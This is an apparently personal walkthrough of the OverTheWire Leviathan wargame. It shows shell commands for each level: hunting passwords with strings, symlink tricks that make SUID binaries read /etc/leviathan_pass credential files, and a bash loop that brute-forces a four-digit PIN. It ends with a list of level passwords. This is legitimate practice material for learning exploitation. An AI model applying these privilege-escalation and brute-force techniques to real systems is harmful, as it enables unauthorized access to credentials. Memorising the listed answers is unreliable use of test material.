LEVEL0

List files in home directory
ls

List all files including hidden ones, with details
ls -la

Change directory to .backup
cd .backup

List all files inside .backup
ls -la

Search inside bookmarks.html for readable text related to password
strings bookmarks.html | grep -i pass

LEVEL1

Login into level 1
ssh leviathan1@gibson

List files in home directory
ls
ls -la

Run the check program (or similar file)
./check

Analyze the binary to find hidden strings
strings check

Run the program again with correct password found

./check

LEVEL2

Step-by-Step Commands:

1. **Create a Temporary Directory:**
    - used mktemp -d to create a temporary directory.

mktemp -d

2. **Navigate to the Temporary Directory:**
    - Change the working directory to the temporary directory created.

cd /tmp/tmp.NyC5m2Lqdn

3. **Create a Test File:**
    - Created a file (test file.txt) inside the temporary directory.

touch /tmp/tmp.NyC5m2Lqdn/"test file.txt"

4. **Create a Symlink to /etc/leviathan_pass/leviathan3:**
    - Created a symbolic link named test in the temporary directory that points to the password file for leviathan3.

ln -sf /etc/leviathan_pass/leviathan3 /tmp/tmp.NyC5m2Lqdn/test

5. **Running the printfile Command:**
    - Attempted to run the printfile program from the home directory (~/printfile), which is the correct location of the file with the SUID flag.

~/printfile /tmp/tmp.NyC5m2Lqdn/"test file.txt"

    - This outputs the password for leviathan3, which was f0n8h2iWLP.

LEVEL 3

Step 1: List the files to identify 'level3'

ls -la

Step 2: Run the 'level3' program with an incorrect password

./level3

Enter the password> ewrfwewfwfr

Step 3: Run the 'level3' program with a different incorrect password

./level3

Enter the password> kakaka

Step 4: Use the correct password 'snlprintf'

./level3

Enter the password> snlprintf

Step 5: Retrieve the password for the next level

cat /etc/leviathan_pass/leviathan4

LEVEL 5

ls -la

./leviathan5

lrace leviathan5

ltrace leviathan5

ls -s /etc/leviathan_pass/leviathan6 /tmp/file.log

ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

./leviathan5

LEVEL 6

1. Create a directory in /tmp to work in

mkdir /tmp/bashbruteforce

2. Change to the newly created directory

cd /tmp/bashbruteforce

```
# 3. Create and edit the brute force script
nano brute.sh

# 4. Write the following script in brute.sh
#!/bin/bash
for i in {0000..9999}
do
  ~/leviathan6 $i
done

# 5. Save and exit nano (Ctrl + O, Enter, Ctrl + X)

# 6. Make the script executable
chmod +x brute.sh

# 7. Run the brute force script
./brute.sh
```

Level 3 password f0n8h2iWLP

Level 4 WG1egElCvO

Level 5 0dyxT7F4QD

LEEVL 6 szo7HDB88w

Level 7 qEs5Io5yM8